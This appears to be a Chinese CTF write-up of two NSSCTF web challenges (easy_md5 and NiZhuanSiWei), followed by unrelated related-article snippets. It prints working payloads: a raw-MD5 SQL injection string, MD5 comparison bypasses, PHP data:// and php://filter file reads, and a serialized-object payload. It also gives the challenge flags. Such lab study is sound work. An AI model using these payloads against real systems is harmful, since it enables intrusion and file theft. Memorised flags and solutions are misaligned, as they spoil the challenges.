NSSCTF-Web题目3
目录
[BJDCTF 2020]easy_md5
1、知识点
2、题目
3、思路
[ZJCTF 2019]NiZhuanSiWei
1、知识点
2、题目
3、思路
第一层
第二层
第三层
[BJDCTF 2020]easy_md5
1、知识点
弱比较,强比较、数组绕过、MD5加密
2、题目


3、思路
1、首先我们跟着题目输入,看看有没有内容

页面没有任何显示,源代码也没有隐藏信息
2、使用BP抓包

发现这里有隐藏信息
hint: select * from 'admin' where password=md5($pass,true)
md5($pass,true)是什么意思呢?

TRUE就是将字符串编码城16字符的二进制模式
FALSE就是我们常见的md5编码方式
这里的password的值就是我们可以输入的值,那我们要怎么绕过呢?
可以拼接一个or语句,也就是我们要输入的内容为''or'...'
查找网上的wp知道
字符串:ffifdyop 经过MD5的16进制格式编码后为 ''or'6�]��!r,��b'
2、所以我们输入这个字符串,结果跳到下个界面

我们查看网站源码,发现有一串代码

这个代码的意思是:用get方式输入a和b,a的值不等于b的值,==是弱比较,a和b两个值的md5值相等,这里我们可以找两个值的md5值一样的,可以绕过,也可以采用数组方式
= 是赋值 == 是弱比较 === 是强比较
?a=s878926199a&b=s155964671a

?a[]=1&b[]=2

3、进入下个界面
这里的源码意思是Post方式传入两个参数,值相同类型也需要相同,所以只能使用数组绕过
param1[]=1¶m2[]=2

这里就得到flag啦 NSSCTF{326018f0-b4cb-4302-a24e-d7cf9173e035}
[ZJCTF 2019]NiZhuanSiWei
1、知识点
php序列化,php伪协议
2、题目

3、思路

打开题目,我们可以得到源代码
题目提示我们要用GET方式输入三个参数的值,这里套了三层,我们逐层破解
第一层

这里的代码意思是要我们上传一个名字为text,文件内容为welcome to the zjctf的文件
file_get_contents()函数就是读取文件的函数,用法如下

那问题来了,这里又没有文件上传的方式,要怎么上传呢?
这里就需要使用php的伪协议了

这里可以使用php://input,将参数传进去,也可以使用data://
注意:php://input 需要使用POST方式上传数据

使用data://
http://node4.anna.nssctf.cn:28444/?text=data://text/plain,welcome to the zjctf

注意,使用data://有时需要将数据进行base64编码,不过这一题并不用
这样子就绕过了第一层,接着来第二层
第二层

这里提示有一个useless.php界面,我们访问一下看看

这里直接访问是访问不出什么内容的,需要使用php://filter这个伪协议来读取
http://node4.anna.nssctf.cn:28462/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码的字符串,我们进行解码

这里又得到代码,根据代码,我们可以知道跟flag有关,源代码是定义了一个类,但没有实例化,我们将代码进行修改,接下来就是第三层
第三层

这里的数据需要反序列后才会输出,所以我们输入的数据必须是序列化的,根据第二层得到的代码,我们进行修改
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
#实例化这一个类
$flag=new Flag();
#将数据进行序列化
echo serialize($flag);
?>
将代码在本地的靶场运行,我这边是在pikachu的靶机上运行,结果为

根据第二层的源码我们得知有一个flag.php文件
所以我们将序列化的内容改一下,然后传给参数password
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
http://node4.anna.nssctf.cn:28462/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网站源代码,就得到了flag

NSSCTF{0f40c6f4-45e1-4bee-ac5a-db46758135d6}
这篇文章就先写到这里了,哪里不足的欢迎批评指正
相关文章:
NSSCTF-Web题目3
目录 [BJDCTF 2020]easy_md5 1、知识点 2、题目 3、思路 [ZJCTF 2019]NiZhuanSiWei 1、知识点 2、题目 3、思路 第一层 第二层 第三层 [BJDCTF 2020]easy_md5 1、知识点 弱比较,强比较、数组绕过、MD5加密 2、题目 3、思路 1、首先我们跟着题目输入&a…...
基于Java实现震中附近风景区预警可视化分析实践
目录 前言 一、空间数据说明 1、表结构信息展示 2、空间范围查询 二、Java后台开发实现 1、模型层设计与实现 2、控制层设计与实现 三、Leaflet地图开发 1、地震震中位置展示 2、百公里风景区列表展示 3、风景区列表展示 4、附近风景区展示 四、总结 前言 地震这类…...
【CTF Web】CTFShow web7 Writeup(SQL注入+PHP+进制转换)
web7 1 阿呆得到最高指示,如果还出问题,就卷铺盖滚蛋,阿呆心在流血。 解法 注意到: <!-- flag in id 1000 -->拦截很多种字符,连 select 也不给用了。 if(preg_match("/\|\"|or|\||\-|\\\|\/|\\*|\…...
ABAP WRITE换行输出
不换行: write hello world!. write 春天马上就到了!. 换行: write hello world!. write /春天马上就到了!. 换行的第二种: write: hello world! ,/,春天马上就到了!....
VUE3学习第一篇:启动ruoyi
1、找到ruoyi的vue3版本 然后下载代码到本地, 我刚开始用的nodejs14报错, 后面换成nodejs16,启动前端成功了。 页面如下图所示...
python-数据可视化(总)
python-数据可视化 ** 数据可视化 指的是通过可视化表示来探索数据,它与数据挖掘**紧密相关,而数据挖掘指的是使用代码来探索数据集的规律和关联。数据集可以是用一行代码就能表示的小型数字列表,也可以是数以吉字节的数据 最流行的工具之一…...
使用git生成SSH公钥,并设置SSH公钥
1、在git命令行里输入以下命令 ssh-keygen -t rsa 2、按回车,然后会看到以下字眼 Generating public/private rsa key pair. Enter file in which to save the key (/c/Users/xxx/.ssh/id_rsa) 例: 3、继续回车,然后会看到以下字眼 Enter…...
iPhone win10更改备份路径
1 删掉或改名 旧的Backup, 否则不能连接 ren "C:\Users\Administrator\Apple\MobileSync\Backup" Backup_old 2 在目标盘中 创建新的文件夹 手动创建 MobileSync\Backup 3 链接两个文件夹 mklink /J "C:\Users\Administrator\Apple\MobileSync\Backup" &qu…...
Jmeter元件及基本作用域
🚀从今天开始学习性能测试工具——Jmeter,小梦也是先学习了下Jmeter的元件概念以及其基本的作用域,整理了下笔记,希望不管是从事开发领域还是测试领域的朋友们,我们一起学习下Jmeter工具,提升工作中的技能&…...
GB-T 43696-2024 网络安全技术 零信任参考体系架构
GB-T 43696-2024 网络安全技术 零信任参考体系架构 编写背景 随着网络环境的日益复杂,传统的网络安全策略已经难以满足现代企业的需求。为了应对不断变化的安全威胁,零信任安全模型应运而生。GB-T 43696-2024《网络安全技术 零信任参考体系架构》是中国…...
Java使用apache.poi生成excel插入word中
加油,新时代打工人! 工作需求,上个文章我们生成好的word,这次将生成好的excel表格数据,插入word中。需要准备好excle数据,然后插入到word中。 最后个需要,就是把这些生成好的word文档转成pdf进行…...
斯坦福报告解读3:图解有趣的评估基准(上)
《人工智能指数报告》由斯坦福大学、AI指数指导委员会及业内众多大佬Raymond Perrault、Erik Brynjolfsson 、James Manyika等人员和组织合著,旨在追踪、整理、提炼并可视化与人工智能(AI)相关各类数据,该报告已被大多数媒体及机构…...
C语言---扫雷游戏的实现
1.扫雷游戏的分析和设计 需要创建3个文件夹 test.c----扫雷游戏的测试 game.c----扫雷游戏的实现 game.h----扫雷游戏的实现 雷的信息使用二维数组存放 • 使⽤控制台实现经典的扫雷游戏 • 游戏可以通过菜单实现继续玩或者退出游戏 • 扫雷的棋盘是9*9的格⼦ • 默认…...
《征服数据结构》块状链表
摘要: 1,块状链表的介绍 2,块状链表的代码实现(Java和C) 1,块状链表的介绍 前面我们讲过数组和链表,数组具有 O(1)的查询时间,O(N)的删除,O(N)的插入,而链表具…...
leetCode.86. 分隔链表
leetCode.86. 分隔链表 题目思路: 代码 class Solution { public:ListNode* partition(ListNode* head, int x) {auto lh new ListNode(-1), rh new ListNode(-1);auto lt lh, rt rh;for(auto p head; p; p p->next ) {if(p->val < x) {lt lt->…...
Java进阶学习笔记5——Static应用知识:单例设计模式
设计模式: 架构师会使用到设计模式,开发框架,就需要掌握很多设计模式。 在Java基础阶段学习设计模式,将来面试笔试的时候,笔试题目会经常靠到设计模式。 将来会用到设计模式。框架代码中会用到设计模式。 什么是设计…...
Vue 前端加框 给div加红色框框 js实现
实现方式:用getElementsByClassName、createElement、appendChild实现在原有div上添加一个新的div,从而达到框选效果 <template><div><el-button click"addIten">添加</el-button><el-button click"deleteIt…...
Percona Toolkit 神器全攻略(实用类)
Percona Toolkit 神器全攻略(实用类) Percona Toolkit 神器全攻略系列共八篇,前文回顾: 前文回顾Percona Toolkit 神器全攻略 全文约定:$为命令提示符、greatsql>为GreatSQL数据库提示符。在后续阅读中,…...
ARM GIC 和NVIC的区别
ARM GIC(Generic Interrupt Controller)和NVIC(Nested Vectored Interrupt Controller)是两种不同的中断控制器,它们在ARM架构中扮演着重要的角色,但各自有不同的设计和应用场景。 ARM GIC: G…...
CSS文本粒子动画特效之爱心粒子文字特效-Canvas
1. 效果图 2.完整代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><style>body,html {margin: 0;paddin…...
用Verilog在FPGA上实现一个真实的十字路口红绿灯(附完整代码与仿真)
从零构建FPGA十字路口交通灯控制系统:Verilog实战指南 十字路口交通灯控制是数字逻辑设计的经典案例,也是FPGA初学者从理论迈向实践的重要一步。本文将带你完整实现一个基于Xilinx Basys3开发板的交通灯控制系统,涵盖状态机设计、时序约束、仿…...
维普检测升级被卡延毕?2026论文降AI急救包:4招人工微调SOP与5大工具硬核横评
论文初稿快要交了,维普却突然搞了个大动作,把系统给升级了。说实话,这事真挺让人头疼的,有人前两天查还是绿的,以为稳了,结果升级完再一测,AI率直接飙红。 但别慌,也别怀疑自己是不…...
华中科大大突破:让AI拥有“空间感“,从此告别“方向感缺失症“
这项由华中科技大学和百度公司联合开展的研究发表于2026年3月,论文编号为arXiv:2603.19235v1,研究团队提出了一个名为VEGA-3D(VideoExtracted Generative Awareness)的创新框架。有兴趣深入了解的读者可以通过该论文编号查询完整论…...
高效视频素材全流程管理工具:Cobalt 开源解决方案详解
高效视频素材全流程管理工具:Cobalt 开源解决方案详解 【免费下载链接】cobalt save what you love 项目地址: https://gitcode.com/GitHub_Trending/cob/cobalt Cobalt 是一款专为内容创作者设计的高效视频素材管理工具,支持从 30 主流平台下载视…...
【昇腾】Deepseek双机:高效网络配置与故障排查指南
1. 昇腾AI双机组网基础架构 第一次接触昇腾AI服务器双机部署时,最让我头疼的就是网络架构设计。不同于普通服务器的千兆网卡互联,昇腾NPU的200G/400G高速网络接口需要特殊的组网方案。这里我结合自己踩过的坑,给大家拆解两种最常见的组网模式…...
Abaqus纤维复合材料三点弯曲力学仿真全解析
Abaqus纤维复合材料三点弯曲力学仿真(vumat子程序inp文件obd文件视频文件快速建模软件)在材料力学的研究领域,纤维复合材料凭借其优异的性能被广泛应用。而通过Abaqus进行三点弯曲力学仿真,能有效探究其力学特性。今天咱就来唠唠这…...
如何安全高效地烧录系统镜像?Balena Etcher带来无忧体验
如何安全高效地烧录系统镜像?Balena Etcher带来无忧体验 【免费下载链接】etcher Flash OS images to SD cards & USB drives, safely and easily. 项目地址: https://gitcode.com/GitHub_Trending/et/etcher 你是否曾因误操作将系统镜像写入电脑硬盘而丢…...
WindowsCleaner深度解析:如何用开源工具轻松解决C盘空间不足问题
WindowsCleaner深度解析:如何用开源工具轻松解决C盘空间不足问题 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否经常遇到C盘空间不足的困扰&am…...
BM3D算法深度解析:为什么它至今仍是图像去噪的黄金标准?
BM3D算法深度解析:为什么它至今仍是图像去噪的黄金标准? 在数字图像处理领域,去噪技术一直是研究的热点与难点。从早期的均值滤波到小波变换,再到如今的深度学习,各种方法层出不穷。然而,在这片技术迭代的浪…...
别再乱设target_frame了!深度解读ROS2 pointcloud_to_laserscan源码,搞懂tf转换与消息过滤器的正确用法
别再乱设target_frame了!深度解读ROS2 pointcloud_to_laserscan源码,搞懂tf转换与消息过滤器的正确用法 在机器人感知系统中,将三维点云数据转换为二维激光扫描数据是常见的降维处理手段。ROS2的pointcloud_to_laserscan功能包看似简单&…...
